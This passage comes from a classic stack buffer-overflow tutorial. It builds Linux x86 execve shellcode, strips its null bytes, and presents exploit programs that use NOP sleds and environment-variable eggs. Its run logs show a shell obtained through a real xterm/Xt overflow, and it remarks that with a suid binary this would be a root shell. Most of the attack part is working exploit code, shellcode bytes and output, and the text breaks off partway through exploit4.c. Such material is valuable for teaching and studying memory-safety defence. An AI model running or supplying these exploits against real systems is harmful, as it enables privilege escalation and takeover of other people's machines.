  450. continue fetching instructions from the stack, which may contain random data!
  451. The program will most likely core dump.  We want the program to exit cleanly
  452. if the execve syscall fails.  To accomplish this we must then add a exit
  453. syscall after the execve syscall.  What does the exit syscall looks like?

  454. exit.c
  455. ------------------------------------------------------------------------------
  456. #include <stdlib.h>

  457. void main() {
  458.         exit(0);
  459. }
  460. ------------------------------------------------------------------------------

  461. ------------------------------------------------------------------------------
  462. [aleph1]$ gcc -o exit -static exit.c
  463. [aleph1]$ gdb exit
  464. GDB is free software and you are welcome to distribute copies of it
  465. under certain conditions; type "show copying" to see the conditions.
  466. There is absolutely no warranty for GDB; type "show warranty" for details.
  467. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  468. (no debugging symbols found)...
  469. (gdb) disassemble _exit
  470. Dump of assembler code for function _exit:
  471. 0x800034c <_exit>:      pushl  %ebp
  472. 0x800034d <_exit+1>:    movl   %esp,%ebp
  473. 0x800034f <_exit+3>:    pushl  %ebx
  474. 0x8000350 <_exit+4>:    movl   $0x1,%eax
  475. 0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
  476. 0x8000358 <_exit+12>:   int    $0x80
  477. 0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
  478. 0x800035d <_exit+17>:   movl   %ebp,%esp
  479. 0x800035f <_exit+19>:   popl   %ebp
  480. 0x8000360 <_exit+20>:   ret
  481. 0x8000361 <_exit+21>:   nop
  482. 0x8000362 <_exit+22>:   nop
  483. 0x8000363 <_exit+23>:   nop
  484. End of assembler dump.
  485. ------------------------------------------------------------------------------

  486.    The exit syscall will place 0x1 in EAX, place the exit code in EBX,
  487. and execute "int 0x80".  That's it.  Most applications return 0 on exit to
  488. indicate no errors.  We will place 0 in EBX.  Our list of steps is now:

  489.         a) Have the null terminated string "/bin/sh" somewhere in memory.
  490.         b) Have the address of the string "/bin/sh" somewhere in memory
  491.            followed by a null long word.
  492.         c) Copy 0xb into the EAX register.
  493.         d) Copy the address of the address of the string "/bin/sh" into the
  494.            EBX register.
  495.         e) Copy the address of the string "/bin/sh" into the ECX register.
  496.         f) Copy the address of the null long word into the EDX register.
  497.         g) Execute the int $0x80 instruction.
  498.         h) Copy 0x1 into the EAX register.
  499.         i) Copy 0x0 into the EBX register.
  500.         j) Execute the int $0x80 instruction.

  501.    Trying to put this together in assembly language, placing the string
  502. after the code, and remembering we will place the address of the string,
  503. and null word after the array, we have:

  504. ------------------------------------------------------------------------------
  505.         movl   string_addr,string_addr_addr
  506.         movb   $0x0,null_byte_addr
  507.         movl   $0x0,null_addr
  508.         movl   $0xb,%eax
  509.         movl   string_addr,%ebx
  510.         leal   string_addr,%ecx
  511.         leal   null_string,%edx
  512.         int    $0x80
  513.         movl   $0x1, %eax
  514.         movl   $0x0, %ebx
  515.         int    $0x80
  516.         /bin/sh string goes here.
  517. ------------------------------------------------------------------------------

  518.    The problem is that we don't know where in the memory space of the
  519. program we are trying to exploit the code (and the string that follows
  520. it) will be placed.  One way around it is to use a JMP, and a CALL
  521. instruction.  The JMP and CALL instructions can use IP relative addressing,
  522. which means we can jump to an offset from the current IP without needing
  523. to know the exact address of where in memory we want to jump to.  If we
  524. place a CALL instruction right before the "/bin/sh" string, and a JMP
  525. instruction to it, the strings address will be pushed onto the stack as
  526. the return address when CALL is executed.  All we need then is to copy the
  527. return address into a register.  The CALL instruction can simply call the
  528. start of our code above.  Assuming now that J stands for the JMP instruction,
  529. C for the CALL instruction, and s for the string,  the execution flow would
  530. now be:


  531. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  532. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  533.            buffer                sfp   ret   a     b     c

  534. <------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
  535.            ^|^             ^|            |
  536.            |||_____________||____________| (1)
  537.        (2)  ||_____________||
  538.              |______________| (3)
  539. top of                                                            bottom of
  540. stack                                                                 stack



  541.    With this modifications, using indexed addressing, and writing down how
  542. many bytes each instruction takes our code looks like:

  543. ------------------------------------------------------------------------------
  544.         jmp    offset-to-call           # 2 bytes
  545.         popl   %esi                     # 1 byte
  546.         movl   %esi,array-offset(%esi)  # 3 bytes
  547.         movb   $0x0,nullbyteoffset(%esi)# 4 bytes
  548.         movl   $0x0,null-offset(%esi)   # 7 bytes
  549.         movl   $0xb,%eax                # 5 bytes
  550.         movl   %esi,%ebx                # 2 bytes
  551.         leal   array-offset,(%esi),%ecx # 3 bytes
  552.         leal   null-offset(%esi),%edx   # 3 bytes
  553.         int    $0x80                    # 2 bytes
  554.         movl   $0x1, %eax                # 5 bytes
  555.         movl   $0x0, %ebx                # 5 bytes
  556.         int    $0x80                        # 2 bytes
  557.         call   offset-to-popl           # 5 bytes
  558.         /bin/sh string goes here.
  559. ------------------------------------------------------------------------------

  560.    Calculating the offsets from jmp to call, from call to popl, from
  561. the string address to the array, and from the string address to the null
  562. long word, we now have:

  563. ------------------------------------------------------------------------------
  564.         jmp    0x26                     # 2 bytes
  565.         popl   %esi                     # 1 byte
  566.         movl   %esi,0x8(%esi)           # 3 bytes
  567.         movb   $0x0,0x7(%esi)                # 4 bytes
  568.         movl   $0x0,0xc(%esi)           # 7 bytes
  569.         movl   $0xb,%eax                # 5 bytes
  570.         movl   %esi,%ebx                # 2 bytes
  571.         leal   0x8(%esi),%ecx           # 3 bytes
  572.         leal   0xc(%esi),%edx           # 3 bytes
  573.         int    $0x80                    # 2 bytes
  574.         movl   $0x1, %eax                # 5 bytes
  575.         movl   $0x0, %ebx                # 5 bytes
  576.         int    $0x80                        # 2 bytes
  577.         call   -0x2b                    # 5 bytes
  578.         .string "/bin/sh"                # 8 bytes
  579. ------------------------------------------------------------------------------

  580.    Looks good. To make sure it works correctly we must compile it and run it.
  581. But there is a problem.  Our code modifies itself, but most operating system
  582. mark code pages read-only.  To get around this restriction we must place the
  583. code we wish to execute in the stack or data segment, and transfer control
  584. to it.  To do so we will place our code in a global array in the data
  585. segment.  We need first a hex representation of the binary code. Lets
  586. compile it first, and then use gdb to obtain it.

  587. shellcodeasm.c
  588. ------------------------------------------------------------------------------
  589. void main() {
  590. __asm__("
  591.         jmp    0x2a                     # 3 bytes
  592.         popl   %esi                     # 1 byte
  593.         movl   %esi,0x8(%esi)           # 3 bytes
  594.         movb   $0x0,0x7(%esi)           # 4 bytes
  595.         movl   $0x0,0xc(%esi)           # 7 bytes
  596.         movl   $0xb,%eax                # 5 bytes
  597.         movl   %esi,%ebx                # 2 bytes
  598.         leal   0x8(%esi),%ecx           # 3 bytes
  599.         leal   0xc(%esi),%edx           # 3 bytes
  600.         int    $0x80                    # 2 bytes
  601.         movl   $0x1, %eax               # 5 bytes
  602.         movl   $0x0, %ebx               # 5 bytes
  603.         int    $0x80                    # 2 bytes
  604.         call   -0x2f                    # 5 bytes
  605.         .string "/bin/sh"             # 8 bytes
  606. ");
  607. }
  608. ------------------------------------------------------------------------------

  609. ------------------------------------------------------------------------------
  610. [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  611. [aleph1]$ gdb shellcodeasm
  612. GDB is free software and you are welcome to distribute copies of it
  613. under certain conditions; type "show copying" to see the conditions.
  614. There is absolutely no warranty for GDB; type "show warranty" for details.
  615. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  616. (gdb) disassemble main
  617. Dump of assembler code for function main:
  618. 0x8000130 <main>:       pushl  %ebp
  619. 0x8000131 <main+1>:     movl   %esp,%ebp
  620. 0x8000133 <main+3>:     jmp    0x800015f <main+47>
  621. 0x8000135 <main+5>:     popl   %esi
  622. 0x8000136 <main+6>:     movl   %esi,0x8(%esi)
  623. 0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
  624. 0x800013d <main+13>:    movl   $0x0,0xc(%esi)
  625. 0x8000144 <main+20>:    movl   $0xb,%eax
  626. 0x8000149 <main+25>:    movl   %esi,%ebx
  627. 0x800014b <main+27>:    leal   0x8(%esi),%ecx
  628. 0x800014e <main+30>:    leal   0xc(%esi),%edx
  629. 0x8000151 <main+33>:    int    $0x80
  630. 0x8000153 <main+35>:    movl   $0x1,%eax
  631. 0x8000158 <main+40>:    movl   $0x0,%ebx
  632. 0x800015d <main+45>:    int    $0x80
  633. 0x800015f <main+47>:    call   0x8000135 <main+5>
  634. 0x8000164 <main+52>:    das
  635. 0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
  636. 0x8000168 <main+56>:    das
  637. 0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
  638. 0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
  639. End of assembler dump.
  640. (gdb) x/bx main+3
  641. 0x8000133 <main+3>:     0xeb
  642. (gdb)
  643. 0x8000134 <main+4>:     0x2a
  644. (gdb)
  645. .
  646. .
  647. .
  648. ------------------------------------------------------------------------------

  649. testsc.c
  650. ------------------------------------------------------------------------------
  651. char shellcode[] =
  652.         "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
  653.         "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  654.         "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
  655.         "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

  656. void main() {
  657.    int *ret;

  658.    ret = (int *)&ret + 2;
  659.    (*ret) = (int)shellcode;

  660. }
  661. ------------------------------------------------------------------------------
  662. ------------------------------------------------------------------------------
  663. [aleph1]$ gcc -o testsc testsc.c
  664. [aleph1]$ ./testsc
  665. $ exit
  666. [aleph1]$
  667. ------------------------------------------------------------------------------

  668.    It works! But there is an obstacle.  In most cases we'll be trying to
  669. overflow a character buffer.  As such any null bytes in our shellcode will be
  670. considered the end of the string, and the copy will be terminated.  There must
  671. be no null bytes in the shellcode for the exploit to work.  Let's try to
  672. eliminate the bytes (and at the same time make it smaller).

  673.            Problem instruction:                 Substitute with:
  674.            --------------------------------------------------------
  675.            movb   $0x0,0x7(%esi)                xorl   %eax,%eax
  676.            molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
  677.                                                 movl   %eax,0xc(%esi)
  678.            --------------------------------------------------------
  679.            movl   $0xb,%eax                     movb   $0xb,%al
  680.            --------------------------------------------------------
  681.            movl   $0x1, %eax                    xorl   %ebx,%ebx
  682.            movl   $0x0, %ebx                    movl   %ebx,%eax
  683.                                                 inc    %eax
  684.            --------------------------------------------------------

  685.    Our improved code:

  686. shellcodeasm2.c
  687. ------------------------------------------------------------------------------
  688. void main() {
  689. __asm__("
  690.         jmp    0x1f                     # 2 bytes
  691.         popl   %esi                     # 1 byte
  692.         movl   %esi,0x8(%esi)           # 3 bytes
  693.         xorl   %eax,%eax                # 2 bytes
  694.         movb   %eax,0x7(%esi)                # 3 bytes
  695.         movl   %eax,0xc(%esi)           # 3 bytes
  696.         movb   $0xb,%al                 # 2 bytes
  697.         movl   %esi,%ebx                # 2 bytes
  698.         leal   0x8(%esi),%ecx           # 3 bytes
  699.         leal   0xc(%esi),%edx           # 3 bytes
  700.         int    $0x80                    # 2 bytes
  701.         xorl   %ebx,%ebx                # 2 bytes
  702.         movl   %ebx,%eax                # 2 bytes
  703.         inc    %eax                     # 1 bytes
  704.         int    $0x80                    # 2 bytes
  705.         call   -0x24                    # 5 bytes
  706.         .string "/bin/sh"             # 8 bytes
  707.                                         # 46 bytes total
  708. ");
  709. }
  710. ------------------------------------------------------------------------------

  711.    And our new test program:

  712. testsc2.c
  713. ------------------------------------------------------------------------------
  714. char shellcode[] =
  715.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  716.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  717.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  718. void main() {
  719.    int *ret;

  720.    ret = (int *)&ret + 2;
  721.    (*ret) = (int)shellcode;

  722. }
  723. ------------------------------------------------------------------------------
  724. ------------------------------------------------------------------------------
  725. [aleph1]$ gcc -o testsc2 testsc2.c
  726. [aleph1]$ ./testsc2
  727. $ exit
  728. [aleph1]$
  729. ------------------------------------------------------------------------------


  730.                               Writing an Exploit
  731.                               ~~~~~~~~~~~~~~~~~~
  732.                           (or how to mung the stack)
  733.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~


  734.    Lets try to pull all our pieces together.  We have the shellcode.  We know
  735. it must be part of the string which we'll use to overflow the buffer.  We
  736. know we must point the return address back into the buffer.  This example will
  737. demonstrate these points:

  738. overflow1.c
  739. ------------------------------------------------------------------------------
  740. char shellcode[] =
  741.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  742.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  743.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  744. char large_string[128];

  745. void main() {
  746.   char buffer[96];
  747.   int i;
  748.   long *long_ptr = (long *) large_string;

  749.   for (i = 0; i < 32; i++)
  750.     *(long_ptr + i) = (int) buffer;

  751.   for (i = 0; i < strlen(shellcode); i++)
  752.     large_string[i] = shellcode[i];

  753.   strcpy(buffer,large_string);
  754. }
  755. ------------------------------------------------------------------------------

  756. ------------------------------------------------------------------------------
  757. [aleph1]$ gcc -o exploit1 exploit1.c
  758. [aleph1]$ ./exploit1
  759. $ exit
  760. exit
  761. [aleph1]$
  762. ------------------------------------------------------------------------------

  763.    What we have done above is filled the array large_string[] with the
  764. address of buffer[], which is where our code will be.  Then we copy our
  765. shellcode into the beginning of the large_string string.  strcpy() will then
  766. copy large_string onto buffer without doing any bounds checking, and will
  767. overflow the return address, overwriting it with the address where our code
  768. is now located.  Once we reach the end of main and it tried to return it
  769. jumps to our code, and execs a shell.

  770.    The problem we are faced when trying to overflow the buffer of another
  771. program is trying to figure out at what address the buffer (and thus our
  772. code) will be.  The answer is that for every program the stack will
  773. start at the same address.  Most programs do not push more than a few hundred
  774. or a few thousand bytes into the stack at any one time.  Therefore by knowing
  775. where the stack starts we can try to guess where the buffer we are trying to
  776. overflow will be.  Here is a little program that will print its stack
  777. pointer:

  778. sp.c
  779. ------------------------------------------------------------------------------
  780. unsigned long get_sp(void) {
  781.    __asm__("movl %esp,%eax");
  782. }
  783. void main() {
  784.   printf("0x%x\n", get_sp());
  785. }
  786. ------------------------------------------------------------------------------

  787. ------------------------------------------------------------------------------
  788. [aleph1]$ ./sp
  789. 0x8000470
  790. [aleph1]$
  791. ------------------------------------------------------------------------------

  792.    Lets assume this is the program we are trying to overflow is:

  793. vulnerable.c
  794. ------------------------------------------------------------------------------
  795. void main(int argc, char *argv[]) {
  796.   char buffer[512];

  797.   if (argc > 1)
  798.     strcpy(buffer,argv[1]);
  799. }
  800. ------------------------------------------------------------------------------

  801.    We can create a program that takes as a parameter a buffer size, and an
  802. offset from its own stack pointer (where we believe the buffer we want to
  803. overflow may live).  We'll put the overflow string in an environment variable
  804. so it is easy to manipulate:

  805. exploit2.c
  806. ------------------------------------------------------------------------------
  807. #include <stdlib.h>

  808. #define DEFAULT_OFFSET                    0
  809. #define DEFAULT_BUFFER_SIZE             512

  810. char shellcode[] =
  811.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  812.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  813.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  814. unsigned long get_sp(void) {
  815.    __asm__("movl %esp,%eax");
  816. }

  817. void main(int argc, char *argv[]) {
  818.   char *buff, *ptr;
  819.   long *addr_ptr, addr;
  820.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  821.   int i;

  822.   if (argc > 1) bsize  = atoi(argv[1]);
  823.   if (argc > 2) offset = atoi(argv[2]);

  824.   if (!(buff = malloc(bsize))) {
  825.     printf("Can't allocate memory.\n");
  826.     exit(0);
  827.   }

  828.   addr = get_sp() - offset;
  829.   printf("Using address: 0x%x\n", addr);

  830.   ptr = buff;
  831.   addr_ptr = (long *) ptr;
  832.   for (i = 0; i < bsize; i+=4)
  833.     *(addr_ptr++) = addr;

  834.   ptr += 4;
  835.   for (i = 0; i < strlen(shellcode); i++)
  836.     *(ptr++) = shellcode[i];

  837.   buff[bsize - 1] = '\0';

  838.   memcpy(buff,"EGG=",4);
  839.   putenv(buff);
  840.   system("/bin/bash");
  841. }
  842. ------------------------------------------------------------------------------

  843.    Now we can try to guess what the buffer and offset should be:

  844. ------------------------------------------------------------------------------
  845. [aleph1]$ ./exploit2 500
  846. Using address: 0xbffffdb4
  847. [aleph1]$ ./vulnerable $EGG
  848. [aleph1]$ exit
  849. [aleph1]$ ./exploit2 600
  850. Using address: 0xbffffdb4
  851. [aleph1]$ ./vulnerable $EGG
  852. Illegal instruction
  853. [aleph1]$ exit
  854. [aleph1]$ ./exploit2 600 100
  855. Using address: 0xbffffd4c
  856. [aleph1]$ ./vulnerable $EGG
  857. Segmentation fault
  858. [aleph1]$ exit
  859. [aleph1]$ ./exploit2 600 200
  860. Using address: 0xbffffce8
  861. [aleph1]$ ./vulnerable $EGG
  862. Segmentation fault
  863. [aleph1]$ exit
  864. .
  865. .
  866. .
  867. [aleph1]$ ./exploit2 600 1564
  868. Using address: 0xbffff794
  869. [aleph1]$ ./vulnerable $EGG
  870. $
  871. ------------------------------------------------------------------------------

  872.    As we can see this is not an efficient process.  Trying to guess the
  873. offset even while knowing where the beginning of the stack lives is nearly
  874. impossible.  We would need at best a hundred tries, and at worst a couple of
  875. thousand.  The problem is we need to guess *exactly* where the address of our
  876. code will start.  If we are off by one byte more or less we will just get a
  877. segmentation violation or a invalid instruction.  One way to increase our
  878. chances is to pad the front of our overflow buffer with NOP instructions.
  879. Almost all processors have a NOP instruction that performs a null operation.
  880. It is usually used to delay execution for purposes of timing.  We will take
  881. advantage of it and fill half of our overflow buffer with them.  We will place
  882. our shellcode at the center, and then follow it with the return addresses. If
  883. we are lucky and the return address points anywhere in the string of NOPs,
  884. they will just get executed until they reach our code.  In the Intel
  885. architecture the NOP instruction is one byte long and it translates to 0x90
  886. in machine code.  Assuming the stack starts at address 0xFF, that S stands for
  887. shell code, and that N stands for a NOP instruction the new stack would look
  888. like this:

  889. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  890. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  891.            buffer                sfp   ret   a     b     c

  892. <------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
  893.                  ^                     |
  894.                  |_____________________|
  895. top of                                                            bottom of
  896. stack                                                                 stack

  897.    The new exploits is then:

  898. exploit3.c
  899. ------------------------------------------------------------------------------
  900. #include <stdlib.h>

  901. #define DEFAULT_OFFSET                    0
  902. #define DEFAULT_BUFFER_SIZE             512
  903. #define NOP                            0x90

  904. char shellcode[] =
  905.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  906.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  907.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  908. unsigned long get_sp(void) {
  909.    __asm__("movl %esp,%eax");
  910. }

  911. void main(int argc, char *argv[]) {
  912.   char *buff, *ptr;
  913.   long *addr_ptr, addr;
  914.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  915.   int i;

  916.   if (argc > 1) bsize  = atoi(argv[1]);
  917.   if (argc > 2) offset = atoi(argv[2]);

  918.   if (!(buff = malloc(bsize))) {
  919.     printf("Can't allocate memory.\n");
  920.     exit(0);
  921.   }

  922.   addr = get_sp() - offset;
  923.   printf("Using address: 0x%x\n", addr);

  924.   ptr = buff;
  925.   addr_ptr = (long *) ptr;
  926.   for (i = 0; i < bsize; i+=4)
  927.     *(addr_ptr++) = addr;

  928.   for (i = 0; i < bsize/2; i++)
  929.     buff[i] = NOP;

  930.   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  931.   for (i = 0; i < strlen(shellcode); i++)
  932.     *(ptr++) = shellcode[i];

  933.   buff[bsize - 1] = '\0';

  934.   memcpy(buff,"EGG=",4);
  935.   putenv(buff);
  936.   system("/bin/bash");
  937. }
  938. ------------------------------------------------------------------------------

  939.    A good selection for our buffer size is about 100 bytes more than the size
  940. of the buffer we are trying to overflow.  This will place our code at the end
  941. of the buffer we are trying to overflow, giving a lot of space for the NOPs,
  942. but still overwriting the return address with the address we guessed.  The
  943. buffer we are trying to overflow is 512 bytes long, so we'll use 612.  Let's
  944. try to overflow our test program with our new exploit:

  945. ------------------------------------------------------------------------------
  946. [aleph1]$ ./exploit3 612
  947. Using address: 0xbffffdb4
  948. [aleph1]$ ./vulnerable $EGG
  949. $
  950. ------------------------------------------------------------------------------

  951.    Whoa!  First try!  This change has improved our chances a hundredfold.
  952. Let's try it now on a real case of a buffer overflow.  We'll use for our
  953. demonstration the buffer overflow on the Xt library.  For our example, we'll
  954. use xterm (all programs linked with the Xt library are vulnerable). You must
  955. be running an X server and allow connections to it from the localhost.  Set
  956. your DISPLAY variable accordingly.

  957. ------------------------------------------------------------------------------
  958. [aleph1]$ export DISPLAY=:0.0
  959. [aleph1]$ ./exploit3 1124
  960. Using address: 0xbffffdb4
  961. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  962. Warning: Color name "隵1F
  963.                            ?
  964.                             骎

  965. ?@よ????/bin/sh??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡?








  966. ?郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡








  967. ??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡??郡???郡??郡??郡??郡?
  968. ^C
  969. [aleph1]$ exit
  970. [aleph1]$ ./exploit3 2148 100
  971. Using address: 0xbffffd48
  972. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  973. Warning: Color name "隵1F
  974.                            ?
  975.                             骎

  976. ?@よ????/bin/sh??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃?








  977. ?縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃








  978. ??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃???








  979. H??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??








  980. 縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??縃??
  981. Warning: some arguments in previous message were lost
  982. Illegal instruction
  983. [aleph1]$ exit
  984. .
  985. .
  986. .
  987. [aleph1]$ ./exploit4 2148 600
  988. Using address: 0xbffffb54
  989. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  990. Warning: Color name "隵1F
  991.                            ?
  992.                             骎

  993. ?@よ????/bin/sh??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏?








  994. ?縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏








  995. ??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏???








  996. T??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??








  997. 縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??縏??
  998. Warning: some arguments in previous message were lost
  999. bash$
  1000. ------------------------------------------------------------------------------

  1001.    Eureka! Less than a dozen tries and we found the magic numbers. If xterm
  1002. where installed suid root this would now be a root shell.


  1003.                             Small Buffer Overflows
  1004.                             ~~~~~~~~~~~~~~~~~~~~~~

  1005.    There will be times when the buffer you are trying to overflow is so
  1006. small that either the shellcode wont fit into it, and it will overwrite the
  1007. return address with instructions instead of the address of our code, or the
  1008. number of NOPs you can pad the front of the string with is so small that the
  1009. chances of guessing their address is minuscule.  To obtain a shell from these
  1010. programs we will have to go about it another way.  This particular approach
  1011. only works when you have access to the program's environment variables.

  1012.    What we will do is place our shellcode in an environment variable, and
  1013. then overflow the buffer with the address of this variable in memory.  This
  1014. method also increases your changes of the exploit working as you can make
  1015. the environment variable holding the shell code as large as you want.

  1016.    The environment variables are stored in the top of the stack when the
  1017. program is started, any modification by setenv() are then allocated
  1018. elsewhere.  The stack at the beginning then looks like this:


  1019.       <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

  1020.    Our new program will take an extra variable, the size of the variable
  1021. containing the shellcode and NOPs. Our new exploit now looks like this:

  1022. exploit4.c
  1023. ------------------------------------------------------------------------------
  1024. #include <stdlib.h>

  1025. #define DEFAULT_OFFSET                    0
  1026. #define DEFAULT_BUFFER_SIZE             512
  1027. #define DEFAULT_EGG_SIZE               2048
  1028. #define NOP                            0x90

  1029. char shellcode[] =
  1030.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1031.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1032.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  1033. unsigned long get_esp(void) {
  1034.    __asm__("movl %esp,%eax");
  1035. }

  1036. void main(int argc, char *argv[]) {
  1037.   char *buff, *ptr, *egg;
  1038.   long *addr_ptr, addr;
  1039.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1040.   int i, eggsize=DEFAULT_EGG_SIZE;

  1041.   if (argc > 1) bsize   = atoi(argv[1]);
  1042.   if (argc > 2) offset  = atoi(argv[2]);
  1043.   if (argc > 3) eggsize = atoi(argv[3]);


  1044.   if (!(buff = malloc(bsize))) {
  1045.     printf("Can't allocate memory.\n");
  1046.     exit(0);
  1047.   }
  1048.   if (!(egg = malloc(eggsize))) {
  1049.     printf("Can't allocate memory.\n");
  1050.     exit(0);
  1051.   }

  1052.   addr = get_esp() - offset;
  1053.   printf("Using address: 0x%x\n", addr);

  1054.   ptr = buff;
  1055.   addr_ptr = (long *) ptr;
  1056.   for (i = 0; i < bsize; i+=4)
  1057.     *(addr_ptr++) = addr;

  1058.   ptr = egg;
  1059.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  1060.     *(ptr++) = NOP;

  1061.   for (i = 0; i < strlen(shellcode); i++)
  1062.     *(ptr++) = shellcode[i];

  1063.   buff[bsize - 1] = '\0';
